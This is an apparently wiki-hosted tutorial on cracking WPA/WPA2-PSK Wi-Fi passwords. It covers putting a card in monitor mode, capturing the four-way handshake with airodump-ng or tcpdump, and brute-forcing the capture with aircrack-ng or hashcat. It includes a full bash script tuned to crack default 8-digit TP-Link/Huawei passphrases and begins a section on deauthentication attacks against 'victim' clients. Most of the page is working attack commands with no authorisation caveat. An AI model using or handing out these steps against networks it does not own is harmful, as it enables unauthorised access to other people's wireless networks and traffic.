&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode &amp;quot;PSK&amp;quot; and wlan0mon is the capturing device. &lt;br /&gt;
With this command, airodump-ng records the traffic and saves it into different *.cap files.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
